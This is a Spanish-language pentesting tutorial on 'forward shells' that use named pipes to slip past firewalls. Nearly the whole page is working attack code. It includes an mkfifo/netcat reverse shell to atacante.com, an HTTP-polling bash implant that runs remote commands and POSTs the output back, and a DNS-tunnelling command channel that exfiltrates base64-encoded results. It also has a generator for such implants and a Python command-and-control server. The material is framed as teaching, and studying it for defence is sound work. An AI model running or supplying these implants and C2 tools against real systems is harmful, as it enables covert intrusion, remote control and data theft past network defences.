Skip to content

Forward Shell - Shells Indirectos para Pentesting

Forward Shell - Shells Indirectos para Pentesting

Section titled “Forward Shell - Shells Indirectos para Pentesting”

Un Forward Shell es una técnica avanzada de pentesting que se utiliza cuando las conexiones directas (reverse o bind shells) están bloqueadas por firewalls, proxies o configuraciones de red restrictivas. Esta técnica utiliza named pipes (FIFO) para crear una “consola simulada” que permite la comunicación bidireccional indirecta con la máquina comprometida.

  • Firewalls restrictivos: Bloquean tanto conexiones entrantes como salientes
  • Proxies corporativos: Filtran tráfico de red
  • Redes segmentadas: Sin conectividad directa
  • Evasión de detección: Método menos común y detectable
  • Conexiones intermitentes: Cuando la conectividad es inestable
[Atacante] <---> [Intermediario/Web] <---> [FIFO] <---> [Objetivo]
| | | |
Interface Upload/ Named Shell
Web/API Download Pipe Commands

Un named pipe o FIFO (First In, First Out) es un tipo especial de archivo que actúa como un canal de comunicación entre procesos. A diferencia de los pipes anónimos, los named pipes tienen un nombre en el sistema de archivos.

Terminal window
# Crear un named pipe
mkfifo /tmp/shell_pipe
# Verificar que se creó
ls -la /tmp/shell_pipe
# prw-rw-r-- 1 user user 0 fecha /tmp/shell_pipe
# Nota: 'p' indica que es un pipe
Terminal window
# Terminal 1: Escribir al pipe
echo "comando" > /tmp/shell_pipe
# Terminal 2: Leer del pipe
cat < /tmp/shell_pipe
Terminal window
# En la máquina objetivo:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | tee /tmp/output
# El atacante puede escribir comandos a /tmp/f
# y leer resultados de /tmp/output
Terminal window
# Máquina objetivo:
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc atacante.com 4444 > /tmp/f
# Atacante:
nc -lvp 4444
#!/bin/bash
# forward_shell_http.sh - En la máquina objetivo
FIFO="/tmp/cmd_pipe"
OUTPUT="/tmp/cmd_output"
SERVER="http://atacante.com:8080"
# Crear named pipe
rm -f $FIFO $OUTPUT
mkfifo $FIFO
# Loop principal
while true; do
# Obtener comando del servidor
cmd=$(curl -s "$SERVER/cmd" 2>/dev/null)
if [ ! -z "$cmd" ] && [ "$cmd" != "NOCMD" ]; then
echo "[+] Ejecutando: $cmd"
# Ejecutar comando y capturar salida
echo "$cmd" > $FIFO &
timeout 10 bash < $FIFO > $OUTPUT 2>&1
# Enviar resultado al servidor
curl -s -X POST -d @$OUTPUT "$SERVER/output" 2>/dev/null
# Limpiar
echo "" > $OUTPUT
fi
sleep 2
done
dns_forward_shell.sh
#!/bin/bash
DOMAIN="tunnel.example.com"
FIFO="/tmp/dns_pipe"
rm -f $FIFO
mkfifo $FIFO
while true; do
# Obtener comando via DNS TXT record
cmd=$(dig +short TXT cmd.$DOMAIN | tr -d '"' | base64 -d)
if [ ! -z "$cmd" ]; then
echo "$cmd" > $FIFO &
result=$(timeout 5 bash < $FIFO 2>&1 | base64 -w 0)
# Enviar resultado via DNS (dividido en chunks)
echo "$result" | fold -w 60 | nl | while read num chunk; do
dig @dns-server result-$num-$chunk.$DOMAIN
done
fi
sleep 5
done
forward_shell_generator.sh
#!/bin/bash
generate_http_forward() {
local server=$1
local port=$2
cat << EOF
#!/bin/bash
# HTTP Forward Shell
FIFO="/tmp/http_shell"
SERVER="http://$server:$port"
rm -f \$FIFO; mkfifo \$FIFO
while true; do
cmd=\$(curl -s "\$SERVER/cmd" 2>/dev/null)
if [ ! -z "\$cmd" ] && [ "\$cmd" != "EMPTY" ]; then
echo "\$cmd" > \$FIFO &
result=\$(timeout 10 bash < \$FIFO 2>&1)
curl -s -X POST -d "\$result" "\$SERVER/result" 2>/dev/null
fi
sleep 3
done
EOF
}
generate_file_forward() {
local shared_dir=$1
cat << EOF
#!/bin/bash
# File-based Forward Shell
SHARED_DIR="$shared_dir"
CMD_FILE="\$SHARED_DIR/cmd.txt"
RESULT_FILE="\$SHARED_DIR/result.txt"
FIFO="/tmp/file_shell"
rm -f \$FIFO; mkfifo \$FIFO
while true; do
if [ -f "\$CMD_FILE" ]; then
cmd=\$(cat "\$CMD_FILE")
rm -f "\$CMD_FILE"
echo "\$cmd" > \$FIFO &
result=\$(timeout 10 bash < \$FIFO 2>&1)
echo "\$result" > "\$RESULT_FILE"
fi
sleep 2
done
EOF
}
# Uso
if [ $# -lt 2 ]; then
echo "Uso: $0 <tipo> <parámetros>"
echo "Tipos:"
echo " http <server> <port>"
echo " file <shared_directory>"
exit 1
fi
case $1 in
"http")
generate_http_forward $2 $3
;;
"file")
generate_file_forward $2
;;
*)
echo "Tipo no soportado"
exit 1
;;
esac
http_forward_server.py
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import time
class ForwardShellHandler(BaseHTTPRequestHandler):
current_cmd = "EMPTY"
last_result = ""
def do_GET(self):
if self.path == '/cmd':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(self.current_cmd.encode())
elif self.path == '/result':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(self.last_result.encode())
def do_POST(self):
if self.path == '/result':
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
ForwardShellHandler.last_result = post_data.decode('utf-8', errors='ignore')
print(f"\n[RESULT]:\n{ForwardShellHandler.last_result}")
print("[CMD]> ", end="", flush=True)
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass
def command_input():
while True:
try:
cmd = input("[CMD]> ")
if cmd.lower() in ['exit', 'quit']:
break
ForwardShellHandler.current_cmd = cmd
time.sleep(0.5)
ForwardShellHandler.current_cmd = "EMPTY"
except KeyboardInterrupt:
break
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), ForwardShellHandler)
cmd_thread = threading.Thread(target=command_input, daemon=True)
cmd_thread.start()
print("[+] Forward Shell HTTP Server iniciado en puerto 8080")
try:
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()